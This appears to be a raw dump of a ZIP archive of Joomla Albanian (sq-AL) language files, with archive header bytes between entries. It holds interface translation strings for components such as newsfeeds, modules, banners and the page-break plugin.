      More information at W3.org " PK@y>\yd0language/sq-AL/sq-AL.plg_user_contactcreator.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Failed to update contact: %s" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="Contact automatic creation failed because contact category is not set!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="A formatted string to automatically generate a contact's web page. [name] is replaced with the name, [username] is replaced with the username, [userid] is replaced with the user ID and [email] is replaced with the email" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Automatic Webpage" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="Optionally have the contact default to published or unpublished" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Autopublish the contact" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="Category to assign contacts to by default" PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\Wb&language/sq-AL/sq-AL.mod_login.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It cannot be unpublished." MOD_LOGIN="Formulari i hymjes" MOD_LOGIN_LAYOUT_DEFAULT="Normalja" PK@y>\Z.[[)language/sq-AL/sq-AL.plg_editors_none.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="Kjo nxjerr nji fushë të thjeshtë teksti" PK@y>\K=6}}&language/sq-AL/sq-AL.mod_title.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Titulli" MOD_TITLE_XML_DESCRIPTION="Ky modul tregon titullin e komponentit të shiritit" MOD_TITLE_LAYOUT_DEFAULT="Normalja" PK@y>\&4language/sq-AL/sq-AL.plg_authentication_ldap.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\@2wSS&language/sq-AL/sq-AL.com_cache.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Menaxheri i keshit" COM_CACHE_XML_DESCRIPTION="Komponenti për menaxhimin e keshit" PK@y>\?Ѝ%language/sq-AL/sq-AL.mod_menu.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_XML_DESCRIPTION="Ky modul tregon modulin kryesor të lundrimit administrativ" MOD_MENU_LAYOUT_DEFAULT="Normalja" PK@y>\S)language/sq-AL/sq-AL.com_messages.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="Mesazh i ri privat" COM_MESSAGES_READ="Read Private Messages" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend"PK@y>\0 .language/sq-AL/sq-AL.plg_content_pagebreak.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Përmbajtja - Krijimi i faqeve" PLG_CONTENT_PAGEBREAK_ALL_PAGES=" Krejt faqet" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Indeksi i artikujve" PLG_CONTENT_PAGEBREAK_NO_TITLE="Pa titull" PLG_CONTENT_PAGEBREAK_PAGES="Faqet" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Faqja %s" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Tregon krejt artikullin." PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Nxirri krejt" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Kaptinë e veçantë e indeksit t'artikullit" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Fut nji tekst të veçantë për kaptinën e indeksimit t'artikullit. Nëse asht bosh, do të përdoret standardi." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Trego/fsheh kaptinën e indeksimit t'artikullit. Kaptina shfaqet në maje të tabelës së përmbajtjes." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Kaptina e indeksimit t'artikullit" PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Titulli dhe atributet e kaptinës nga plugini shtue në tagun e emnit të faqes" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Trego titullin e faqes" PLG_CONTENT_PAGEBREAK_SLIDERS="Rrëshqitësit" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Zgjidh a me e faqosë artikullin në faqe të veçanta, tabe ose rrëshqitëse." PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Stili i prezantimit" PLG_CONTENT_PAGEBREAK_TABS="Tabet" PLG_CONTENT_PAGEBREAK_TOC_DESC="Tregon nji tabelë përmbajtjeje në artikujt me shum faqe." PLG_CONTENT_PAGEBREAK_TOC_LABEL="Përmbajtja" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Lejo krijimin e artikullit me faqe me tabelë opsionale përmbajtjeje.

      Fut ndamje faqesh përmes përdorimit të butonit të copëzimit që normalisht gjehet poshtë panelit të tekstit në artikull. Vendndodhja e ndamjes së faqeve në nji artikull ka me u shfaqë në editor si nji vijë e thjeshtë horizontale.

      Teksti i shfaqun do të varet nga opsionet e përzgjedhuna dhe mund të jetë ose titull, tekst alternativ (nëse jepjet), ose numra faqesh.

      Përdorimi i HTML-së asht:
      <hr class="_QQ_"system-pagebreak"_QQ_" />
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" /> ose
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" /> ose
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Faqja e parë"_QQ_" title="_QQ_"Titulli i faqes"_QQ_" />" PK@y>\\Z.[[-language/sq-AL/sq-AL.plg_editors_none.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="Kjo nxjerr nji fushë të thjeshtë teksti" PK@y>\zޔ(language/sq-AL/sq-AL.com_banners.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banerat" COM_BANNERS_BANNERS="Banerat" COM_BANNERS_CATEGORY_ADD_TITLE="Menaxheri i kategorisë: Shto nji kategori të re banerash" COM_BANNERS_CATEGORY_EDIT_TITLE="Menaxheri i kategorisë: Ndrysho nji kategori banerash" COM_BANNERS_CATEGORIES="Kategoritë" COM_BANNERS_CLIENTS="Klientat" COM_BANNERS_TRACKS="Gjurmët" COM_BANNERS_XML_DESCRIPTION="Ky komponent menaxhon banerat dhe klientët e banerave" PK@y>\/uGG3language/sq-AL/sq-AL.plg_content_pagenavigation.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="Vendi i funksionit Lundrim në faqe te faqja që kqyret në raport me tekstin." PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Vendi" PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Assigns the relative location for the Position parameter. Text will place it directly above or below the article content. Full article will place it above or below the full display including title and readmore." PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Relative to" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Sipër" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Full article" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Poshtë" PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Teksti" PLG_PAGENAVIGATION_XML_DESCRIPTION="Ta mundëson me shtue funksionin Tjetri & I maparshmi te nji artikull." PK@y>\ΑK&language/sq-AL/sq-AL.com_newsfeeds.ininuW+A; Joomla1 sq-AL ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Joomla! Project ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_NEWSFEEDS_BATCH_OPTIONS="Batch process the selected newsfeeds" COM_NEWSFEEDS_BATCH_TIP="If choosing to copy a newsfeed, any other actions selected will be applied to the copied newsfeed. Otherwise, all actions are applied to the selected newsfeed." COM_NEWSFEEDS_CACHE_TIME_HEADING="Koha e keshit" COM_NEWSFEEDS_CATEGORIES_DESC="These settings apply for Newsfeeds Categories Options unless they are changed for a specific menu item." COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Zgjidh feed" COM_NEWSFEEDS_CONFIGURATION="News Feed Manager Options" COM_NEWSFEEDS_EDIT_NEWSFEED="Ndrysho lajmet feed" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="Another Newsfeed from this category has the same alias" COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Feeds category display options" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="Numri i minutave para se me u freskue keshi i lajmeve feed." COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Koha e keshit" COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Feeds categories display options" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="The category that this feed is assigned to" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Number of characters to display per feed." COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Characters count" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Number of characters to include in the feed" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Characters Count" COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Newsfeeds Category Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layout Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="These settings apply for single news feeds unless they are changed for a specific menu item or news feed" COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="Feed të lajmeve" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="The order used to display the feed" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Feed display order" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Feeds display options" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Feeds display options" COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Assign a language to this news feed" COM_NEWSFEEDS_FIELD_LINK_DESC="Link to the news feed" COM_NEWSFEEDS_FIELD_LINK_LABEL="Nyja" COM_NEWSFEEDS_FIELD_MODIFIED_DESC="The date and time the news feed was last modified" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Show or Hide the Number of Articles in each Feed ( You can set this value in each Newsfeed )" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="# i artikujve" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Number of articles from the feed to display" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Numri i artikujve" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Default number of feeds to list on a page." COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="# Feeds to List" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Number of feeds to display" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Number of feeds" COM_NEWSFEEDS_FIELD_OPTIONS="Feed Options" COM_NEWSFEEDS_FIELD_RTL_DESC="Select the language direction of the feed" COM_NEWSFEEDS_FIELD_RTL_LABEL="Language Direction" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Choose a feed category to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Select a feed to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="feed" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Newsfeeds in category" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="# Feeds in Category" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Show or Hide feed description" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Përshkrimi feed" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Show or Hide feed images" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Pamja Feed" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Show or Hide Feed Content" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Feed Content" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Show or Hide feed links URL" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Feed Links" COM_NEWSFEEDS_FIELD_VALUE_LTR="Left to Right Direction" COM_NEWSFEEDS_FIELD_VALUE_RTL="Right to Left Direction" COM_NEWSFEEDS_FIELD_VALUE_SITE="Site Language Direction" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Feed Display Options" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Enter here a news feed title to search." COM_NEWSFEEDS_MANAGER_NEWSFEED="News Feed Manager: News Feed" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="Lajmet feed" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d news feeds successfully archived" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="News feed successfully archived" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="No news feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="News feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d news feeds successfully checked-in" COM_NEWSFEEDS_N_ITEMS_DELETED="%d news feeds successfully deleted" COM_NEWSFEEDS_N_ITEMS_DELETED_1="News feed successfully deleted" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d news feeds successfully published" COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="News feed successfully published" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d news feeds successfully trashed" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="News feed successfully trashed" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d news feeds successfully unpublished" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="News feed successfully unpublished" COM_NEWSFEEDS_NEW_NEWSFEED="I ri" COM_NEWSFEEDS_NO_ITEM_SELECTED="No news feeds selected" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="# i artikujve" COM_NEWSFEEDS_PUBLISH_ITEM="Publish News Feed" COM_NEWSFEEDS_SAVE_SUCCESS="News feed successfully saved" COM_NEWSFEEDS_SEARCH_IN_TITLE="Kërko" COM_NEWSFEEDS_SELECT_A_FEED="Zgjidh feed" COM_NEWSFEEDS_SELECT_FEED="Zgjidh feed" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Newsfeeds or subcategories." COM_NEWSFEEDS_SUBMENU_CATEGORIES="Kategoritë" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="Lajmet Feed" COM_NEWSFEEDS_UNPUBLISH_ITEM="Unpublish News Feed" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds." JGLOBAL_NEWITEMSLAST_DESC="New news feeds default to the last position. The ordering can be changed after this news feed has been saved." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings."PK@y>\B/)language/sq-AL/sq-AL.com_weblinks.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_XML_DESCRIPTION="Component for weblinks management" COM_WEBLINKS_LINKS="Nyjet" COM_WEBLINKS_CATEGORIES="Kategoritë" COM_WEBLINKS_CATEGORY_ADD_TITLE="Category Manager: Add A New Weblinks Category" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Category Manager: Edit A Weblinks Category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of weblinks for a category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Normalja" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="List Web Links in a Category" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the web link categories within a category." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Normalja" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="List All Web Link Categories" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Display a form to submit a web link in the frontend." COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Normalja" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Submit a Web Link" PK@y>\@@+language/sq-AL/sq-AL.plg_finder_content.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Kërkim i squet - Përmbajtja" PLG_FINDER_CONTENT_XML_DESCRIPTION="Ky plugin indekson artikujt Joomla!." PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Artikulli" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Autori" PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Artikujt" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Autorët" PK@y>\Gm*pp1language/sq-AL/sq-AL.plg_search_newsfeeds.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Kërko - Lajmet feed" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Aktivizon kërkimin brenda lajmeve feed" PK@y>\'([2language/sq-AL/sq-AL.plg_authentication_joomla.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\-VJJ#language/sq-AL/sq-AL.com_cpanel.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Paneli i kontrollit" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\E,.language/sq-AL/sq-AL.plg_editors-xtd_image.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Buton - Pamja" PLG_IMAGE_BUTTON_IMAGE="Pamja" PLG_IMAGE_XML_DESCRIPTION="Nxjerr nji buton me mundësue futjen e pamjeve në nji artikull. Nxjerr nji dritare të vogël që të lejon me përcaktue t'dhanat e pamjes dhe me ngarkue pamjet e reja." PK@y>\x{/language/sq-AL/sq-AL.plg_content_joomla.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when a new article is submitted in the frontend."PK@y>\rITT+language/sq-AL/sq-AL.com_categories.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CATEGORIES="Kategoritë" COM_CATEGORIES_XML_DESCRIPTION="Ky komponent menaxhon kategoritë" PK@y>\ra|1language/sq-AL/sq-AL.plg_system_highlight.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"System - Highlight"_QQ_" plugin" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\W0language/sq-AL/sq-AL.mod_multilangstatus.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters." PK@y>\ͭdd$language/sq-AL/sq-AL.mod_submenu.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="Ky modul tregon modulin e lundrimit të nënmenusë" PK@y>\Qn~~-language/sq-AL/sq-AL.com_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE="Përditësimi i Joomla!-s" COM_JOOMLAUPDATE_XML_DESCRIPTION="Përditësim me nji të shtypun në versionin ma të fundit të Joomla!-s" PK@y>\?7kk1language/sq-AL/sq-AL.plg_extension_joomla.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions"PK@y>\km%%$language/sq-AL/sq-AL.com_modules.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Modules Manager" COM_MODULES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MODULES_ASSIGNED_VARIES_EXCEPT="All except selected" COM_MODULES_ASSIGNED_VARIES_ONLY="Selected only" COM_MODULES_BASIC_FIELDSET_LABEL="Basic Options" COM_MODULES_BATCH_POSITION_LABEL="Set Position" COM_MODULES_BATCH_POSITION_NOCHANGE="Keep original Position" COM_MODULES_BATCH_POSITION_NOPOSITION="No Module Position" COM_MODULES_BATCH_OPTIONS="Batch process the selected modules" COM_MODULES_BATCH_TIP="If choosing to copy a module, any other actions selected will be applied to the copied module. Otherwise, all actions are applied to the selected module. When copying and not changing position, it is nevertheless necessary to select 'Keep Original Position' in the dropdown" COM_MODULES_CHANGE_POSITION_BUTTON="Zgjidh vendin" COM_MODULES_CHANGE_POSITION_TITLE="Change position" COM_MODULES_CONFIGURATION="Module Manager Options" COM_MODULES_CUSTOM_OUTPUT="Rezultat ekstra" COM_MODULES_ERR_XML="Module XML data not available" COM_MODULES_ERROR_CANNOT_FIND_MODULE="Cannot find module" COM_MODULES_ERROR_CANNOT_GET_MODULE="Cannot get module" COM_MODULES_ERROR_INVALID_EXTENSION="Invalid module" COM_MODULES_ERROR_NO_MODULES_SELECTED="No module selected" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Module disabled and published" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Module enabled and published" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Module disabled and unpublished" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Module enabled and unpublished" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Automatic title" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Set yes if you want an automatic translated title. Its use depends on the administrator template." COM_MODULES_FIELD_CACHE_TIME_DESC="The time before the module is recached" COM_MODULES_FIELD_CACHE_TIME_LABEL="Koha e keshit" COM_MODULES_FIELD_CACHING_DESC="Zgjidh a me e ruejtë përmbajtjen e këtij moduli" COM_MODULES_FIELD_CACHING_LABEL="Keshimi" COM_MODULES_FIELD_CLIENT_ID_DESC="The location of the module, frontend or backend. You cannot change this value." COM_MODULES_FIELD_CLIENT_ID_LABEL="Module Location" COM_MODULES_FIELD_CONTENT_DESC="Teksti" COM_MODULES_FIELD_CONTENT_LABEL="Teksti" COM_MODULES_FIELD_MODULE_DESC="Lloji i modulit" COM_MODULES_FIELD_MODULE_LABEL="Lloji i modulit" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="Sufiks me iu zbatue klasës CSS të modulit, kjo lejon stilizimin individual të modulit" COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Sufiksi i klasës së moduleve" COM_MODULES_FIELD_NOTE_DESC="An optional note to display in module list." COM_MODULES_FIELD_NOTE_LABEL="Note" COM_MODULES_FIELD_POSITION_DESC="You may select a module position from the modal display of pre-defined positions where you can filter by type and template, or enter your own module position by typing the name in the field and Save." COM_MODULES_FIELD_POSITION_LABEL="Vendi" COM_MODULES_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the module." COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Përfundo botimin" COM_MODULES_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the module." COM_MODULES_FIELD_PUBLISH_UP_LABEL="Fillo botimin" COM_MODULES_FIELD_PUBLISHED_DESC="If 